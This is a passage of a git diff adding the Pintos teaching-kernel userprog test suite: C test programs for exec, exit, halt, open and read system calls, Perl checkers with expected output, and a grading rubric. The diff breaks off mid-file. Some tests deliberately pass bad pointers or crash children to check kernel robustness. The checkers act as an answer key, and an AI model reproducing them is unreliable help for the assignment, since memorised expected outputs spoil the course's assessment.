diff --git a/src/tests/userprog/exec-multiple.ck b/src/tests/userprog/exec-multiple.ck
new file mode 100644
index 0000000..99624cd
--- /dev/null
+++ b/src/tests/userprog/exec-multiple.ck
@@ -0,0 +1,18 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+check_expected ([<<'EOF']);
+(exec-multiple) begin
+(child-simple) run
+child-simple: exit(81)
+(child-simple) run
+child-simple: exit(81)
+(child-simple) run
+child-simple: exit(81)
+(child-simple) run
+child-simple: exit(81)
+(exec-multiple) end
+exec-multiple: exit(0)
+EOF
+pass;
diff --git a/src/tests/userprog/exec-once.c b/src/tests/userprog/exec-once.c
new file mode 100644
index 0000000..7bae5a1
--- /dev/null
+++ b/src/tests/userprog/exec-once.c
@@ -0,0 +1,11 @@
+/* Executes and waits for a single child process. */
+
+#include <syscall.h>
+#include "tests/lib.h"
+#include "tests/main.h"
+
+void
+test_main (void)
+{
+ wait (exec ("child-simple"));
+}
diff --git a/src/tests/userprog/exec-once.ck b/src/tests/userprog/exec-once.ck
new file mode 100644
index 0000000..00b59ed
--- /dev/null
+++ b/src/tests/userprog/exec-once.ck
@@ -0,0 +1,12 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+check_expected ([<<'EOF']);
+(exec-once) begin
+(child-simple) run
+child-simple: exit(81)
+(exec-once) end
+exec-once: exit(0)
+EOF
+pass;
diff --git a/src/tests/userprog/exit.c b/src/tests/userprog/exit.c
new file mode 100644
index 0000000..cb4eb8f
--- /dev/null
+++ b/src/tests/userprog/exit.c
@@ -0,0 +1,11 @@
+/* Tests the exit system call. */
+
+#include "tests/lib.h"
+#include "tests/main.h"
+
+void
+test_main (void)
+{
+ exit (57);
+ fail ("should have called exit(57)");
+}
diff --git a/src/tests/userprog/exit.ck b/src/tests/userprog/exit.ck
new file mode 100644
index 0000000..a552702
--- /dev/null
+++ b/src/tests/userprog/exit.ck
@@ -0,0 +1,9 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+check_expected ([<<'EOF']);
+(exit) begin
+exit: exit(57)
+EOF
+pass;
diff --git a/src/tests/userprog/halt.c b/src/tests/userprog/halt.c
new file mode 100644
index 0000000..4a99bce
--- /dev/null
+++ b/src/tests/userprog/halt.c
@@ -0,0 +1,11 @@
+/* Tests the halt system call. */
+
+#include "tests/lib.h"
+#include "tests/main.h"
+
+void
+test_main (void)
+{
+ halt ();
+ fail ("should have halted");
+}
diff --git a/src/tests/userprog/halt.ck b/src/tests/userprog/halt.ck
new file mode 100644
index 0000000..1b701ed
--- /dev/null
+++ b/src/tests/userprog/halt.ck
@@ -0,0 +1,15 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+
+our ($test);
+my (@output) = read_text_file ("$test.output");
+
+common_checks ("run", @output);
+
+fail "missing 'begin' message\n"
+ if !grep ($_ eq '(halt) begin', @output);
+fail "found 'fail' message--halt didn't really halt\n"
+ if grep ($_ eq '(halt) fail', @output);
+pass;
diff --git a/src/tests/userprog/lib/.cvsignore b/src/tests/userprog/lib/.cvsignore
new file mode 100644
index 0000000..a438335
--- /dev/null
+++ b/src/tests/userprog/lib/.cvsignore
@@ -0,0 +1 @@
+*.d
diff --git a/src/tests/userprog/lib/user/.cvsignore b/src/tests/userprog/lib/user/.cvsignore
new file mode 100644
index 0000000..a438335
--- /dev/null
+++ b/src/tests/userprog/lib/user/.cvsignore
@@ -0,0 +1 @@
+*.d
diff --git a/src/tests/userprog/lib/user/.dummy b/src/tests/userprog/lib/user/.dummy
new file mode 100644
index 0000000..e69de29
--- /dev/null
+++ b/src/tests/userprog/lib/user/.dummy
diff --git a/src/tests/userprog/multi-child-fd.c b/src/tests/userprog/multi-child-fd.c
new file mode 100644
index 0000000..48de4b4
--- /dev/null
+++ b/src/tests/userprog/multi-child-fd.c
@@ -0,0 +1,25 @@
+/* Opens a file and then runs a subprocess that tries to close
+ the file. (Pintos does not have inheritance of file handles,
+ so this must fail.) The parent process then attempts to use
+ the file handle, which must succeed. */
+
+#include <stdio.h>
+#include <syscall.h>
+#include "tests/userprog/sample.inc"
+#include "tests/lib.h"
+#include "tests/main.h"
+
+void
+test_main (void)
+{
+ char child_cmd[128];
+ int handle;
+
+ CHECK ((handle = open ("sample.txt")) > 1, "open \"sample.txt\"");
+
+ snprintf (child_cmd, sizeof child_cmd, "child-close %d", handle);
+
+ msg ("wait(exec()) = %d", wait (exec (child_cmd)));
+
+ check_file_handle (handle, "sample.txt", sample, sizeof sample - 1);
+}
diff --git a/src/tests/userprog/multi-child-fd.ck b/src/tests/userprog/multi-child-fd.ck
new file mode 100644
index 0000000..d0b3a33
--- /dev/null
+++ b/src/tests/userprog/multi-child-fd.ck
@@ -0,0 +1,25 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+check_expected ([<<'EOF', <<'EOF']);
+(multi-child-fd) begin
+(multi-child-fd) open "sample.txt"
+(child-close) begin
+(child-close) end
+child-close: exit(0)
+(multi-child-fd) wait(exec()) = 0
+(multi-child-fd) verified contents of "sample.txt"
+(multi-child-fd) end
+multi-child-fd: exit(0)
+EOF
+(multi-child-fd) begin
+(multi-child-fd) open "sample.txt"
+(child-close) begin
+child-close: exit(-1)
+(multi-child-fd) wait(exec()) = -1
+(multi-child-fd) verified contents of "sample.txt"
+(multi-child-fd) end
+multi-child-fd: exit(0)
+EOF
+pass;
diff --git a/src/tests/userprog/multi-recurse.c b/src/tests/userprog/multi-recurse.c
new file mode 100644
index 0000000..7172ec3
--- /dev/null
+++ b/src/tests/userprog/multi-recurse.c
@@ -0,0 +1,34 @@
+/* Executes itself recursively to the depth indicated by the
+ first command-line argument. */
+
+#include <debug.h>
+#include <stdlib.h>
+#include <stdio.h>
+#include <syscall.h>
+#include "tests/lib.h"
+
+const char *test_name = "multi-recurse";
+
+int
+main (int argc UNUSED, char *argv[])
+{
+ int n = atoi (argv[1]);
+
+ msg ("begin %d", n);
+ if (n != 0)
+ {
+ char child_cmd[128];
+ pid_t child_pid;
+ int code;
+
+ snprintf (child_cmd, sizeof child_cmd, "multi-recurse %d", n - 1);
+ CHECK ((child_pid = exec (child_cmd)) != -1, "exec(\"%s\")", child_cmd);
+
+ code = wait (child_pid);
+ if (code != n - 1)
+ fail ("wait(exec(\"%s\")) returned %d", child_cmd, code);
+ }
+
+ msg ("end %d", n);
+ return n;
+}
diff --git a/src/tests/userprog/multi-recurse.ck b/src/tests/userprog/multi-recurse.ck
new file mode 100644
index 0000000..41eb4a6
--- /dev/null
+++ b/src/tests/userprog/multi-recurse.ck
@@ -0,0 +1,70 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+check_expected ([<<'EOF']);
+(multi-recurse) begin 15
+(multi-recurse) exec("multi-recurse 14")
+(multi-recurse) begin 14
+(multi-recurse) exec("multi-recurse 13")
+(multi-recurse) begin 13
+(multi-recurse) exec("multi-recurse 12")
+(multi-recurse) begin 12
+(multi-recurse) exec("multi-recurse 11")
+(multi-recurse) begin 11
+(multi-recurse) exec("multi-recurse 10")
+(multi-recurse) begin 10
+(multi-recurse) exec("multi-recurse 9")
+(multi-recurse) begin 9
+(multi-recurse) exec("multi-recurse 8")
+(multi-recurse) begin 8
+(multi-recurse) exec("multi-recurse 7")
+(multi-recurse) begin 7
+(multi-recurse) exec("multi-recurse 6")
+(multi-recurse) begin 6
+(multi-recurse) exec("multi-recurse 5")
+(multi-recurse) begin 5
+(multi-recurse) exec("multi-recurse 4")
+(multi-recurse) begin 4
+(multi-recurse) exec("multi-recurse 3")
+(multi-recurse) begin 3
+(multi-recurse) exec("multi-recurse 2")
+(multi-recurse) begin 2
+(multi-recurse) exec("multi-recurse 1")
+(multi-recurse) begin 1
+(multi-recurse) exec("multi-recurse 0")
+(multi-recurse) begin 0
+(multi-recurse) end 0
+multi-recurse: exit(0)
+(multi-recurse) end 1
+multi-recurse: exit(1)
+(multi-recurse) end 2
+multi-recurse: exit(2)
+(multi-recurse) end 3
+multi-recurse: exit(3)
+(multi-recurse) end 4
+multi-recurse: exit(4)
+(multi-recurse) end 5
+multi-recurse: exit(5)
+(multi-recurse) end 6
+multi-recurse: exit(6)
+(multi-recurse) end 7
+multi-recurse: exit(7)
+(multi-recurse) end 8
+multi-recurse: exit(8)
+(multi-recurse) end 9
+multi-recurse: exit(9)
+(multi-recurse) end 10
+multi-recurse: exit(10)
+(multi-recurse) end 11
+multi-recurse: exit(11)
+(multi-recurse) end 12
+multi-recurse: exit(12)
+(multi-recurse) end 13
+multi-recurse: exit(13)
+(multi-recurse) end 14
+multi-recurse: exit(14)
+(multi-recurse) end 15
+multi-recurse: exit(15)
+EOF
+pass;
diff --git a/src/tests/userprog/no-vm/Make.tests b/src/tests/userprog/no-vm/Make.tests
new file mode 100644
index 0000000..a545e18
--- /dev/null
+++ b/src/tests/userprog/no-vm/Make.tests
@@ -0,0 +1,8 @@
+# -*- makefile -*-
+
+tests/userprog/no-vm_TESTS = tests/userprog/no-vm/multi-oom
+tests/userprog/no-vm_PROGS = $(tests/userprog/no-vm_TESTS)
+tests/userprog/no-vm/multi-oom_SRC = tests/userprog/no-vm/multi-oom.c \
+tests/lib.c
+
+tests/userprog/no-vm/multi-oom.output: TIMEOUT = 360
diff --git a/src/tests/userprog/no-vm/Rubric b/src/tests/userprog/no-vm/Rubric
new file mode 100644
index 0000000..c3816c6
--- /dev/null
+++ b/src/tests/userprog/no-vm/Rubric
@@ -0,0 +1,3 @@
+Functionality of features that VM might break:
+
+1 multi-oom
diff --git a/src/tests/userprog/no-vm/multi-oom.c b/src/tests/userprog/no-vm/multi-oom.c
new file mode 100644
index 0000000..6a4472d
--- /dev/null
+++ b/src/tests/userprog/no-vm/multi-oom.c
@@ -0,0 +1,179 @@
+/* Recursively executes itself until the child fails to execute.
+ We expect that at least 30 copies can run.
+
+ We count how many children your kernel was able to execute
+ before it fails to start a new process. We require that,
+ if a process doesn't actually get to start, exec() must
+ return -1, not a valid PID.
+
+ We repeat this process 10 times, checking that your kernel
+ allows for the same level of depth every time.
+
+ In addition, some processes will spawn children that terminate
+ abnormally after allocating some resources.
+
+ Written by Godmar Back <godmar@gmail.com>
+ */
+
+#include <debug.h>
+#include <stdio.h>
+#include <string.h>
+#include <stdlib.h>
+#include <stdbool.h>
+#include <syscall.h>
+#include <random.h>
+#include "tests/lib.h"
+
+static const int EXPECTED_DEPTH_TO_PASS = 30;
+static const int EXPECTED_REPETITIONS = 10;
+
+const char *test_name = "multi-oom";
+
+enum child_termination_mode { RECURSE, CRASH };
+
+/* Spawn a recursive copy of ourselves, passing along instructions
+ for the child. */
+static pid_t
+spawn_child (int c, enum child_termination_mode mode)
+{
+ char child_cmd[128];
+ snprintf (child_cmd, sizeof child_cmd,
+ "%s %d %s", test_name, c, mode == CRASH ? "-k" : "");
+ return exec (child_cmd);
+}
+
+/* Open a number of files (and fail to close them).
+ The kernel must free any kernel resources associated
+ with these file descriptors. */
+static void
+consume_some_resources (void)
+{
+ int fd, fdmax = 126;
+
+ /* Open as many files as we can, up to fdmax.
+ Depending on how file descriptors are allocated inside
+ the kernel, open() may fail if the kernel is low on memory.
+ A low-memory condition in open() should not lead to the
+ termination of the process. */
+ for (fd = 0; fd < fdmax; fd++)
+ if (open (test_name) == -1)
+ break;
+}
+
+/* Consume some resources, then terminate this process
+ in some abnormal way. */
+static int NO_INLINE
+consume_some_resources_and_die (int seed)
+{
+ consume_some_resources ();
+ random_init (seed);
+ int *PHYS_BASE = (int *)0xC0000000;
+
+ switch (random_ulong () % 5)
+ {
+ case 0:
+ *(int *) NULL = 42;
+
+ case 1:
+ return *(int *) NULL;
+
+ case 2:
+ return *PHYS_BASE;
+
+ case 3:
+ *PHYS_BASE = 42;
+
+ case 4:
+ open ((char *)PHYS_BASE);
+ exit (-1);
+
+ default:
+ NOT_REACHED ();
+ }
+ return 0;
+}
+
+/* The first copy is invoked without command line arguments.
+ Subsequent copies are invoked with a parameter 'depth'
+ that describes how many parent processes preceded them.
+ Each process spawns one or multiple recursive copies of
+ itself, passing 'depth+1' as depth.
+
+ Some children are started with the '-k' flag, which will
+ result in abnormal termination.
+ */
+int
+main (int argc, char *argv[])
+{
+ int n;
+
+ n = argc > 1 ? atoi (argv[1]) : 0;
+ bool is_at_root = (n == 0);
+ if (is_at_root)
+ msg ("begin");
+
+ /* If -k is passed, crash this process. */
+ if (argc > 2 && !strcmp(argv[2], "-k"))
+ {
+ consume_some_resources_and_die (n);
+ NOT_REACHED ();
+ }
+
+ int howmany = is_at_root ? EXPECTED_REPETITIONS : 1;
+ int i, expected_depth = -1;
+
+ for (i = 0; i < howmany; i++)
+ {
+ pid_t child_pid;
+
+ /* Spawn a child that will be abnormally terminated.
+ To speed the test up, do this only for processes
+ spawned at a certain depth. */
+ if (n > EXPECTED_DEPTH_TO_PASS/2)
+ {
+ child_pid = spawn_child (n + 1, CRASH);
+ if (child_pid != -1)
+ {
+ if (wait (child_pid) != -1)
+ fail ("crashed child should return -1.");
+ }
+ /* If spawning this child failed, so should
+ the next spawn_child below. */
+ }
+
+ /* Now spawn the child that will recurse. */
+ child_pid = spawn_child (n + 1, RECURSE);
+
+ /* If maximum depth is reached, return result. */
+ if (child_pid == -1)
+ return n;
+
+ /* Else wait for child to report how deeply it was able to recurse. */
+ int reached_depth = wait (child_pid);
+ if (reached_depth == -1)
+ fail ("wait returned -1.");
+
+ /* Record the depth reached during the first run; on subsequent
+ runs, fail if those runs do not match the depth achieved on the
+ first run. */
+ if (i == 0)
+ expected_depth = reached_depth;
+ else if (expected_depth != reached_depth)
+ fail ("after run %d/%d, expected depth %d, actual depth %d.",
+ i, howmany, expected_depth, reached_depth);
+ ASSERT (expected_depth == reached_depth);
+ }
+
+ consume_some_resources ();
+
+ if (n == 0)
+ {
+ if (expected_depth < EXPECTED_DEPTH_TO_PASS)
+ fail ("should have forked at least %d times.", EXPECTED_DEPTH_TO_PASS);
+ msg ("success. program forked %d times.", howmany);
+ msg ("end");
+ }
+
+ return expected_depth;
+}
+// vim: sw=2
diff --git a/src/tests/userprog/no-vm/multi-oom.ck b/src/tests/userprog/no-vm/multi-oom.ck
new file mode 100644
index 0000000..59a0bcd
--- /dev/null
+++ b/src/tests/userprog/no-vm/multi-oom.ck
@@ -0,0 +1,10 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+check_expected (IGNORE_USER_FAULTS => 1, IGNORE_EXIT_CODES => 1, [<<'EOF']);
+(multi-oom) begin
+(multi-oom) success. program forked 10 times.
+(multi-oom) end
+EOF
+pass;
diff --git a/src/tests/userprog/null.ck b/src/tests/userprog/null.ck
new file mode 100644
index 0000000..980de35
--- /dev/null
+++ b/src/tests/userprog/null.ck
@@ -0,0 +1,8 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+check_expected ([<<'EOF']);
+system call!
+EOF
+pass;
diff --git a/src/tests/userprog/open-bad-ptr.c b/src/tests/userprog/open-bad-ptr.c
new file mode 100644
index 0000000..9cd4edf
--- /dev/null
+++ b/src/tests/userprog/open-bad-ptr.c
@@ -0,0 +1,13 @@
+/* Passes an invalid pointer to the open system call.
+ The process must be terminated with -1 exit code. */
+
+#include <syscall.h>
+#include "tests/lib.h"
+#include "tests/main.h"
+
+void
+test_main (void)
+{
+ msg ("open(0x20101234): %d", open ((char *) 0x20101234));
+ fail ("should have called exit(-1)");
+}
diff --git a/src/tests/userprog/open-bad-ptr.ck b/src/tests/userprog/open-bad-ptr.ck
new file mode 100644
index 0000000..45349e2
--- /dev/null
+++ b/src/tests/userprog/open-bad-ptr.ck
@@ -0,0 +1,13 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+check_expected ([<<'EOF', <<'EOF']);
+(open-bad-ptr) begin
+(open-bad-ptr) end
+open-bad-ptr: exit(0)
+EOF
+(open-bad-ptr) begin
+open-bad-ptr: exit(-1)
+EOF
+pass;
diff --git a/src/tests/userprog/open-boundary.c b/src/tests/userprog/open-boundary.c
new file mode 100644
index 0000000..cc8ff8b
--- /dev/null
+++ b/src/tests/userprog/open-boundary.c
@@ -0,0 +1,14 @@
+/* Creates a file whose name spans the boundary between two pages.
+ This is valid, so it must succeed. */
+
+#include <syscall.h>
+#include "tests/userprog/boundary.h"
+#include "tests/lib.h"
+#include "tests/main.h"
+
+void
+test_main (void)
+{
+ CHECK (open (copy_string_across_boundary ("sample.txt")) > 1,
+ "open \"sample.txt\"");
+}
diff --git a/src/tests/userprog/open-boundary.ck b/src/tests/userprog/open-boundary.ck
new file mode 100644
index 0000000..8060d22
--- /dev/null
+++ b/src/tests/userprog/open-boundary.ck
@@ -0,0 +1,11 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+check_expected ([<<'EOF']);
+(open-boundary) begin
+(open-boundary) open "sample.txt"
+(open-boundary) end
+open-boundary: exit(0)
+EOF
+pass;
diff --git a/src/tests/userprog/open-empty.c b/src/tests/userprog/open-empty.c
new file mode 100644
index 0000000..3ea9907
--- /dev/null
+++ b/src/tests/userprog/open-empty.c
@@ -0,0 +1,13 @@
+/* Tries to open a file with the empty string as its name. */
+
+#include <syscall.h>
+#include "tests/lib.h"
+#include "tests/main.h"
+
+void
+test_main (void)
+{
+ int handle = open ("");
+ if (handle != -1)
+ fail ("open() returned %d instead of -1", handle);
+}
diff --git a/src/tests/userprog/open-empty.ck b/src/tests/userprog/open-empty.ck
new file mode 100644
index 0000000..885fb41
--- /dev/null
+++ b/src/tests/userprog/open-empty.ck
@@ -0,0 +1,10 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+check_expected ([<<'EOF']);
+(open-empty) begin
+(open-empty) end
+open-empty: exit(0)
+EOF
+pass;
diff --git a/src/tests/userprog/open-missing.c b/src/tests/userprog/open-missing.c
new file mode 100644
index 0000000..13ecbda
--- /dev/null
+++ b/src/tests/userprog/open-missing.c
@@ -0,0 +1,13 @@
+/* Tries to open a nonexistent file. */
+
+#include <syscall.h>
+#include "tests/lib.h"
+#include "tests/main.h"
+
+void
+test_main (void)
+{
+ int handle = open ("no-such-file");
+ if (handle != -1)
+ fail ("open() returned %d", handle);
+}
diff --git a/src/tests/userprog/open-missing.ck b/src/tests/userprog/open-missing.ck
new file mode 100644
index 0000000..d72d878
--- /dev/null
+++ b/src/tests/userprog/open-missing.ck
@@ -0,0 +1,10 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+check_expected ([<<'EOF']);
+(open-missing) begin
+(open-missing) end
+open-missing: exit(0)
+EOF
+pass;
diff --git a/src/tests/userprog/open-normal.c b/src/tests/userprog/open-normal.c
new file mode 100644
index 0000000..5132465
--- /dev/null
+++ b/src/tests/userprog/open-normal.c
@@ -0,0 +1,13 @@
+/* Open a file. */
+
+#include <syscall.h>
+#include "tests/lib.h"
+#include "tests/main.h"
+
+void
+test_main (void)
+{
+ int handle = open ("sample.txt");
+ if (handle < 2)
+ fail ("open() returned %d", handle);
+}
diff --git a/src/tests/userprog/open-normal.ck b/src/tests/userprog/open-normal.ck
new file mode 100644
index 0000000..4f6c342
--- /dev/null
+++ b/src/tests/userprog/open-normal.ck
@@ -0,0 +1,10 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+check_expected ([<<'EOF']);
+(open-normal) begin
+(open-normal) end
+open-normal: exit(0)
+EOF
+pass;
diff --git a/src/tests/userprog/open-null.c b/src/tests/userprog/open-null.c
new file mode 100644
index 0000000..bb418b8
--- /dev/null
+++ b/src/tests/userprog/open-null.c
@@ -0,0 +1,12 @@
+/* Tries to open a file with the null pointer as its name.
+ The process must be terminated with exit code -1. */
+
+#include <stddef.h>
+#include <syscall.h>
+#include "tests/main.h"
+
+void
+test_main (void)
+{
+ open (NULL);
+}
diff --git a/src/tests/userprog/open-null.ck b/src/tests/userprog/open-null.ck
new file mode 100644
index 0000000..b4a3bcb
--- /dev/null
+++ b/src/tests/userprog/open-null.ck
@@ -0,0 +1,13 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+check_expected ([<<'EOF', <<'EOF']);
+(open-null) begin
+(open-null) end
+open-null: exit(0)
+EOF
+(open-null) begin
+open-null: exit(-1)
+EOF
+pass;
diff --git a/src/tests/userprog/open-twice.c b/src/tests/userprog/open-twice.c
new file mode 100644
index 0000000..dd333af
--- /dev/null
+++ b/src/tests/userprog/open-twice.c
@@ -0,0 +1,19 @@
+/* Tries to open the same file twice,
+ which must succeed and must return a different file descriptor
+ in each case. */
+
+#include <syscall.h>
+#include "tests/lib.h"
+#include "tests/main.h"
+
+void
+test_main (void)
+{
+ int h1 = open ("sample.txt");
+ int h2 = open ("sample.txt");
+
+ CHECK ((h1 = open ("sample.txt")) > 1, "open \"sample.txt\" once");
+ CHECK ((h2 = open ("sample.txt")) > 1, "open \"sample.txt\" again");
+ if (h1 == h2)
+ fail ("open() returned %d both times", h1);
+}
diff --git a/src/tests/userprog/open-twice.ck b/src/tests/userprog/open-twice.ck
new file mode 100644
index 0000000..64fa805
--- /dev/null
+++ b/src/tests/userprog/open-twice.ck
@@ -0,0 +1,12 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+check_expected ([<<'EOF']);
+(open-twice) begin
+(open-twice) open "sample.txt" once
+(open-twice) open "sample.txt" again
+(open-twice) end
+open-twice: exit(0)
+EOF
+pass;
diff --git a/src/tests/userprog/read-bad-fd.c b/src/tests/userprog/read-bad-fd.c
new file mode 100644
index 0000000..a8b190d
--- /dev/null
+++ b/src/tests/userprog/read-bad-fd.c
@@ -0,0 +1,21 @@
+/* Tries to read from an invalid fd,
+ which must either fail silently or terminate the process with
+ exit code -1. */
+
+#include <limits.h>
+#include <syscall.h>
+#include "tests/lib.h"
+#include "tests/main.h"
+
+void
+test_main (void)
+{
+ char buf;
+ read (0x20101234, &buf, 1);
+ read (5, &buf, 1);
+ read (1234, &buf, 1);
+ read (-1, &buf, 1);
+ read (-1024, &buf, 1);
+ read (INT_MIN, &buf, 1);
+ read (INT_MAX, &buf, 1);
+}
diff --git a/src/tests/userprog/read-bad-fd.ck b/src/tests/userprog/read-bad-fd.ck
new file mode 100644
index 0000000..5fedcc7
--- /dev/null
+++ b/src/tests/userprog/read-bad-fd.ck
@@ -0,0 +1,13 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+check_expected ([<<'EOF', <<'EOF']);
+(read-bad-fd) begin
+(read-bad-fd) end
+read-bad-fd: exit(0)
+EOF
+(read-bad-fd) begin
+read-bad-fd: exit(-1)
+EOF
+pass;
diff --git a/src/tests/userprog/read-bad-ptr.c b/src/tests/userprog/read-bad-ptr.c
new file mode 100644
index 0000000..8fe756e
--- /dev/null
+++ b/src/tests/userprog/read-bad-ptr.c
@@ -0,0 +1,16 @@
+/* Passes an invalid pointer to the read system call.
+ The process must be terminated with -1 exit code. */
+
+#include <syscall.h>
+#include "tests/lib.h"
+#include "tests/main.h"
+
+void
+test_main (void)
+{
+ int handle;
+ CHECK ((handle = open ("sample.txt")) > 1, "open \"sample.txt\"");
+
+ read (handle, (char *) 0xc0100000, 123);
+ fail ("should not have survived read()");
+}
diff --git a/src/tests/userprog/read-bad-ptr.ck b/src/tests/userprog/read-bad-ptr.ck
new file mode 100644
index 0000000..d10accf
--- /dev/null
+++ b/src/tests/userprog/read-bad-ptr.ck
@@ -0,0 +1,15 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+check_expected ([<<'EOF', <<'EOF']);
+(read-bad-ptr) begin
+(read-bad-ptr) open "sample.txt"
+(read-bad-ptr) end
+read-bad-ptr: exit(0)
+EOF
+(read-bad-ptr) begin
+(read-bad-ptr) open "sample.txt"
+read-bad-ptr: exit(-1)
+EOF
+pass;
diff --git a/src/tests/userprog/read-boundary.c b/src/tests/userprog/read-boundary.c
new file mode 100644
index 0000000..9c19966
--- /dev/null
+++ b/src/tests/userprog/read-boundary.c
@@ -0,0 +1,30 @@
+/* Reads data spanning two pages in virtual address space,
+ which must succeed. */
+
+#include <string.h>
+#include <syscall.h>
+#include "tests/userprog/boundary.h"
+#include "tests/userprog/sample.inc"
+#include "tests/lib.h"
+#include "tests/main.h"
+
+void
+test_main (void)
+{
+ int handle;
+ int byte_cnt;
+ char *buffer;
+
+ CHECK ((handle = open ("sample.txt")) > 1, "open \"sample.txt\"");
+
+ buffer = get_boundary_area () - sizeof sample / 2;
+ byte_cnt = read (handle, buffer, sizeof sample - 1);
+ if (byte_cnt != sizeof sample - 1)
+ fail ("read() returned %d instead of %zu", byte_cnt, sizeof sample - 1);
+ else if (strcmp (sample, buffer))
+ {
+ msg ("expected text:\n%s", sample);
+ msg ("text actually read:\n%s", buffer);
+ fail ("expected text differs from actual");
+ }
+}
diff --git a/src/tests/userprog/read-boundary.ck b/src/tests/userprog/read-boundary.ck
new file mode 100644
index 0000000..08dc161
--- /dev/null
+++ b/src/tests/userprog/read-boundary.ck
@@ -0,0 +1,11 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+check_expected ([<<'EOF']);
+(read-boundary) begin
+(read-boundary) open "sample.txt"
+(read-boundary) end
+read-boundary: exit(0)
+EOF
+pass;
diff --git a/src/tests/userprog/read-normal.c b/src/tests/userprog/read-normal.c
new file mode 100644
index 0000000..16d15cc
--- /dev/null
+++ b/src/tests/userprog/read-normal.c
@@ -0,0 +1,11 @@
+/* Try reading a file in the most normal way. */
+
+#include "tests/userprog/sample.inc"
+#include "tests/lib.h"
+#include "tests/main.h"
+
+void
+test_main (void)
+{
+ check_file ("sample.txt", sample, sizeof sample - 1);
+}
diff --git a/src/tests/userprog/read-normal.ck b/src/tests/userprog/read-normal.ck
new file mode 100644
index 0000000..0ed2998
--- /dev/null
+++ b/src/tests/userprog/read-normal.ck
@@ -0,0 +1,13 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+check_expected ([<<'EOF']);
+(read-normal) begin
+(read-normal) open "sample.txt" for verification
+(read-normal) verified contents of "sample.txt"
+(read-normal) close "sample.txt"
+(read-normal) end
+read-normal: exit(0)
+EOF
+pass;
diff --git a/src/tests/userprog/read-stdout.c b/src/tests/userprog/read-stdout.c
new file mode 100644
index 0000000..d0630b9
--- /dev/null
+++ b/src/tests/userprog/read-stdout.c
@@ -0,0 +1,14 @@
+/* Try reading from fd 1 (stdout),
+ which may just fail or terminate the process with -1 exit
+ code. */
+
+#include <stdio.h>
+#include <syscall.h>
+#include "tests/main.h"
+
+void
+test_main (void)
+{
+ char buf;
+ read (STDOUT_FILENO, &buf, 1);
+}
diff --git a/src/tests/userprog/read-stdout.ck b/src/tests/userprog/read-stdout.ck
new file mode 100644
index 0000000..7d87b52
--- /dev/null
+++ b/src/tests/userprog/read-stdout.ck
@@ -0,0 +1,13 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+check_expected ([<<'EOF', <<'EOF']);
+(read-stdout) begin
+(read-stdout) end
+read-stdout: exit(0)
+EOF
+(read-stdout) begin
+read-stdout: exit(-1)
+EOF
+pass;
diff --git a/src/tests/userprog/read-zero.c b/src/tests/userprog/read-zero.c
new file mode 100644
index 0000000..e441817
--- /dev/null
+++ b/src/tests/userprog/read-zero.c
@@ -0,0 +1,22 @@
+/* Try a 0-byte read, which should return 0 without reading
+ anything. */
+
+#include <syscall.h>
+#include "tests/lib.h"
+#include "tests/main.h"
+
+void
+test_main (void)
+{
+ int handle, byte_cnt;
+ char buf;
+
+ CHECK ((handle = open ("sample.txt")) > 1, "open \"sample.txt\"");
+
+ buf = 123;
+ byte_cnt = read (handle, &buf, 0);
+ if (byte_cnt != 0)
+ fail ("read() returned %d instead of 0", byte_cnt);
+ else if (buf != 123)
+ fail ("0-byte read() modified buffer");
+}
diff --git a/src/tests/userprog/read-zero.ck b/src/tests/userprog/read-zero.ck
new file mode 100644
index 0000000..8346dbc
--- /dev/null
+++ b/src/tests/userprog/read-zero.ck
@@ -0,0 +1,11 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+check_expected ([<<'EOF']);
+(read-zero) begin
+(read-zero) open "sample.txt"
+(read-zero) end
+read-zero: exit(0)
+EOF
+pass;
diff --git a/src/tests/userprog/rox-child.c b/src/tests/userprog/rox-child.c
new file mode 100644
index 0000000..30afba2
--- /dev/null
+++ b/src/tests/userprog/rox-child.c
@@ -0,0 +1,5 @@
+/* Ensure that the executable of a running process cannot be
+ modified, even by a child process. */
+
+#define CHILD_CNT "1"
+#include "tests/userprog/rox-child.inc"
diff --git a/src/tests/userprog/rox-child.ck b/src/tests/userprog/rox-child.ck
new file mode 100644
index 0000000..e6363fb
--- /dev/null
+++ b/src/tests/userprog/rox-child.ck
@@ -0,0 +1,20 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+check_expected ([<<'EOF']);
+(rox-child) begin
+(rox-child) open "child-rox"
+(rox-child) read "child-rox"
+(rox-child) write "child-rox"
+(rox-child) exec "child-rox 1"
+(child-rox) begin
+(child-rox) try to write "child-rox"
+(child-rox) try to write "child-rox"
+(child-rox) end
+child-rox: exit(12)
+(rox-child) write "child-rox"
+(rox-child) end
+rox-child: exit(0)
+EOF
+pass;
diff --git a/src/tests/userprog/rox-child.inc b/src/tests/userprog/rox-child.inc
new file mode 100644
index 0000000..1e2ade9
--- /dev/null
+++ b/src/tests/userprog/rox-child.inc
@@ -0,0 +1,33 @@
+/* -*- c -*- */
+
+#include <syscall.h>
+#include "tests/lib.h"
+#include "tests/main.h"
+
+void
+test_main (void)
+{
+ const char *child_cmd = "child-rox " CHILD_CNT;
+ int handle;
+ pid_t child;
+ char buffer[16];
+
+ /* Open child-rox, read from it, write back same data. */
